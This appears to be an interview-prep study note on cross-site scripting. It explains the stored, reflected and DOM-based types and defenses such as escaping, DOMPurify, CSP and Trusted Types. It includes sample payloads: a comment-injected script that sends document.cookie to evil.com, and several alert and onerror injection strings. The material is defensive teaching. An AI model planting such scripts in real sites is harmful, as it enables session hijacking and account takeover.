XSS — Stored, Reflected, DOM-Based

6 min read source

XSS — Stored, Reflected, DOM-Based

TL;DR

XSS (Cross-Site Scripting) = attacker-controlled JavaScript runs in your origin’s context. Three flavors: stored (saved to DB, served to other users), reflected (echoed back from URL/form params), DOM-based (introduced by JS DOM manipulation). All have the same effect: the attacker’s code runs as if it were yours — reads cookies (unless httpOnly), session storage, tokens; submits forms with the user’s session; impersonates the user. The senior defense in depth: escape on output, CSP as backup, httpOnly cookies for auth, textContent not innerHTML by default, DOMPurify when sanitization is mandatory.

Interview Q&A

Q: The three XSS types — examples.

A:

Stored: attacker submits <script>steal()</script> as a comment; your app saves it; other users load the page; their browsers execute it.

<!-- Server returns -->
<div class="comment">
  Great post! <script>fetch("//evil.com?c=" + document.cookie)</script>
</div>

Worst form — affects every user who views the page. Persistent.

Reflected: URL param echoed back unescaped.

https://yoursite.com/search?q=<script>alert(1)</script>
<!-- Server returns -->
<h1>Results for: <script>alert(1)</script></h1>

Attacker shares the link; victim clicks; their browser runs the script. Phishing vector.

DOM-based: no server involvement. Client-side JS reads user input and inserts unsafely.

// Bad — directly writes location.hash into HTML
document.getElementById("output").innerHTML = "Hash: " + location.hash;

// Attacker URL
https://yoursite.com/#<img src=x onerror=alert(1)>

The server is innocent; the bug is purely client-side. Often hardest to find — doesn’t show in server logs.

Q: What can XSS actually do?

A: Anything your JS can do — which is everything in your origin:

  • Read cookies (unless httpOnly) — session hijacking.
  • Read localStorage/sessionStorage — auth tokens, sensitive data.
  • Make API calls as the user — change settings, transfer funds, post messages.
  • Read DOM — screenshot the page contents.
  • Install a keylogger — capture keystrokes.
  • Phish — replace the login form with a fake one that submits to attacker.
  • Pivot — load more attacker code, escalate.

XSS is complete account takeover. Treat as P0.

Q: Output encoding — the primary defense.

A: Escape (encode) data based on where it lands:

Context Escape using
HTML body escape < > & " ' to entities (or just use textContent)
HTML attribute (<a href="...">) escape + quote properly
<script> body JSON.stringify (and consider just avoiding)
CSS (style=, <style>) tighter encoding; mostly avoid embedding user data
URL (href="...") URL-encode + protocol allowlist

Modern frameworks auto-escape by default:

// React — auto-escapes
function Comment({ text }: { text: string }) {
  return <div>{text}</div>;       // safe — text is escaped
}
<!-- Vue — auto-escapes -->
<div>{{ text }}</div>             <!-- safe -->

The dangerous escape hatches are where XSS sneaks in:

// React
<div dangerouslySetInnerHTML={{ __html: userText }} />   // XSS risk

// Vue
<div v-html="userText"></div>                            // XSS risk

// Plain JS
el.innerHTML = userText;                                  // XSS risk

Default to {text} / {{text}} / textContent. Reach for innerHTML/dangerouslySetInnerHTML only when you must render trusted HTML, and sanitize first.

Q: When must you render HTML — how to sanitize?

A: DOMPurify — trusted HTML sanitizer. Removes scripts, dangerous attributes, event handlers.

import DOMPurify from "dompurify";

const safe = DOMPurify.sanitize(userHtml);
// safe is HTML with no <script>, no onerror=, no javascript:, etc.

// React
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />

Use cases: rich-text comments, markdown rendered to HTML, WYSIWYG editor output. Never write your own sanitizer.

DOMPurify is well-maintained, used by Google, mature. The standard answer.

Q: URL-based XSS — href="javascript:...".

A: <a href="..."> with a javascript: URL runs code on click:

// Bad — user can supply a javascript: URL
const url = userProvidedUrl;
<a href={url}>Link</a>     // <a href="javascript:steal()">Link</a> if user controls it

// Good — allowlist protocols
const safe = /^https?:\/\//.test(url) || url.startsWith("/") ? url : "#";
<a href={safe}>Link</a>

React does warn on javascript: URLs (logs to console) but doesn’t block. Add explicit protocol checking.

Q: DOM-based XSS — the harder one.

A: Pure client-side. Comes from:

  • location.hash, location.search, document.referrer → inserted into DOM unsanitized.
  • postMessage data → inserted unsanitized.
  • window.name (cross-site) → read and used.
  • WebSocket messages → inserted.

Treat any data from outside your code as untrusted. Escape on the way into the DOM (or use textContent).

// Bad
el.innerHTML = location.hash.slice(1);

// Good
el.textContent = location.hash.slice(1);

Q: How does CSP help?

A: Content Security Policy is the browser-enforced “what can run here?” allowlist. Even if XSS injects <script>, the browser refuses to execute it if it’s not from an allowed source.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

Effect: any <script> without nonce="abc123" won’t run. Inline event handlers (<button onclick=...>) won’t run. eval is blocked.

CSP is your second line of defense — even if you slip on output encoding, CSP blocks the script. See 03_csp.md.

Q: Trusted Types — the newer browser feature.

A: Trusted Types (Chrome/Edge 83+) require dangerous DOM sinks (innerHTML, script.src, etc.) to receive a “trusted” type, not a raw string. Forces explicit sanitization at the sink.

Content-Security-Policy: require-trusted-types-for 'script'
// Without Trusted Types: this works (XSS risk)
el.innerHTML = userHtml;

// With Trusted Types enforced: throws TypeError unless wrapped
const policy = trustedTypes.createPolicy("sanitize", {
  createHTML: (input) => DOMPurify.sanitize(input),
});
el.innerHTML = policy.createHTML(userHtml);   // ok

Browser support: Chrome/Edge solid; Safari/Firefox have polyfills. Not universal yet; pair with CSP + escape-by-default.

Q: React-specific XSS gotchas.

A:

  • dangerouslySetInnerHTML — the obvious. Sanitize.
  • href from user inputjavascript: URL. Allowlist protocols.
  • <a ref={...}> interpolation — if you build an HTML string and setHTML it, XSS. Use JSX.
  • Server-side renderToString of user content — auto-escaped by React; safe.
  • JSON in <script> tags for hydration — escape </script> in the JSON string. React handles for __NEXT_DATA__; hand-rolled SSR may not.

Q: Vue-specific XSS gotchas.

A:

  • v-html — same as dangerouslySetInnerHTML. Sanitize.
  • v-bind:href with javascript: — allowlist protocols.
  • v-bind="$attrs" — passing arbitrary attributes from parent; if those include event handlers from user input, XSS.

Q: Auto-escaping isn’t enough — when?

A:

  • You’re building HTML strings manually (template engines, hand-rolled). Don’t.
  • You’re passing through innerHTML — sanitize.
  • Generating CSS from input — different escaping rules; safer to disallow.
  • Building URL params — use URLSearchParams, not concatenation.
  • Embedding JSON in HTML for hydration — escape </script> and <!--.

Gotchas / edge cases

  • SVG files can contain <script> tags — <img src="evil.svg"> doesn’t execute it, but <object> or inline <svg> can. Don’t allow user-uploaded SVG without sanitization.
  • Markdown that allows raw HTML is an XSS vector — disable raw HTML or sanitize the output with DOMPurify.
  • window.opener leak<a target="_blank"> without rel="noopener" lets the opened page modify window.opener.location — phishing redirect. Always add rel="noopener noreferrer".
  • postMessage without origin check — receiving messages from any origin can be XSS. Validate event.origin against an allowlist.
  • document.write is a magnet for XSS. Don’t use; ever.
  • Service Worker scope — a XSS that registers a SW can persist across page loads.
  • CSP unsafe-inline' and unsafe-eval' make CSP useless. Avoid; use nonces/hashes.

What a senior is expected to say

  • “Three XSS types: stored (DB → all users), reflected (URL → victim), DOM-based (client-side from location/postMessage/etc.). All give the attacker full account takeover.”
  • “Defense in depth: escape on output (frameworks auto-escape — don’t use innerHTML/v-html/dangerouslySetInnerHTML), CSP as backup, httpOnly cookies so XSS can’t read tokens.”
  • “If you must render HTML, DOMPurify. Never write a sanitizer yourself.”
  • href from user input needs a protocol allowlist (block javascript:).”
  • “Trusted Types (Chrome) require explicit sanitization at dangerous DOM sinks — even tighter than CSP.”
  • “DOM-based XSS comes from location.hash, postMessage, etc. Treat any data not in your code as untrusted; use textContent by default.”
  • “User-uploaded SVG needs sanitization; <a target=\"_blank\"> needs rel=\"noopener noreferrer\".”

Cross-references

Further reading